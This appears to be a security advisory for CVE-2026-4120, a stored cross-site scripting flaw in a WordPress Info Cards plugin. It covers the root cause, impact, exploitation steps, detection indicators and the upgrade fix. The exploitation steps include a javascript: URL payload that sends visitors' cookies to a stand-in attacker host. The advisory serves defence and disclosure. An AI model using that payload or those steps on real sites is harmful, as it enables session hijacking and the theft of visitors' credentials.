CVE-2026-4120: 
WordPress vulnerability analysis and mitigation

CVE-2026-4120 is a Stored Cross-Site Scripting (XSS) vulnerability in the Info Cards – Add Text and Media in Card Layouts plugin for WordPress, affecting all versions up to and including 2.0.7. The flaw allows authenticated attackers with Contributor-level access or above to inject malicious javascript: URLs via the btnUrl parameter within the Info Cards block. The vulnerability was published on March 19, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE).

The root cause is insufficient input validation on URL schemes in the btnUrl parameter (CWE-79: Improper Neutralization of Input During Web Page Generation). The plugin's render.php serializes block attributes as JSON and outputs them via esc_attr(wp_json_encode()) into a data-attributes HTML attribute, which prevents direct HTML injection but does not sanitize URL protocols within the JSON payload. The client-side view.js then reads this JSON and renders the btnUrl value directly as an href attribute on anchor (<a>) elements without any javascript: protocol filtering, enabling stored XSS execution when a site visitor clicks the rendered button link (Red Hat CVE).

Successful exploitation allows a Contributor-level (or higher) authenticated attacker to store a malicious javascript: URL in a page or post. When any site visitor clicks the affected button link, arbitrary JavaScript executes in their browser session, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the impact extends beyond the attacker's own session to affect other users of the site (Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-4120 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Info Cards plugin version 2.0.7 or earlier using tools like WPScan or by inspecting plugin metadata in page source.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Create or edit a post/page: Navigate to the WordPress editor and add an Info Cards block to a post or page.
4. Inject malicious payload: In the Info Cards block settings, set the btnUrl parameter to a javascript: URL, e.g., javascript:document.location='https://attacker.com/steal?c='+document.cookie.
5. Publish the content: Save and publish the post or page so the malicious block is rendered on the frontend.
6. Trigger execution: When a site visitor clicks the button rendered by the Info Cards block, the javascript: URL executes in their browser, enabling session hijacking, cookie theft, or other client-side attacks (Red Hat CVE).

• Logs: WordPress access logs showing POST requests to /wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) containing btnUrl values with javascript: scheme from Contributor-level accounts.
• Database: WordPress wp_posts or wp_postmeta tables containing Info Cards block markup with btnUrl values starting with javascript:.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after clicking Info Cards buttons (indicative of data exfiltration payloads).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

Update the Info Cards – Add Text and Media in Card Layouts plugin to version 2.0.8 or later, which introduces proper javascript: protocol filtering for the btnUrl parameter. As an interim workaround, site administrators can restrict Contributor-level users from creating or editing posts containing Info Cards blocks, or temporarily disable the plugin until patching is feasible. Regularly auditing user roles and limiting Contributor access to trusted users reduces the attack surface (Red Hat CVE).

The vulnerability received standard automated coverage across CVE aggregation platforms and security feeds shortly after publication. A Bluesky post from a CVE tracking account noted the disclosure. No significant vendor statements, notable researcher commentary, or major media coverage beyond routine CVE tracking has been identified for this vulnerability.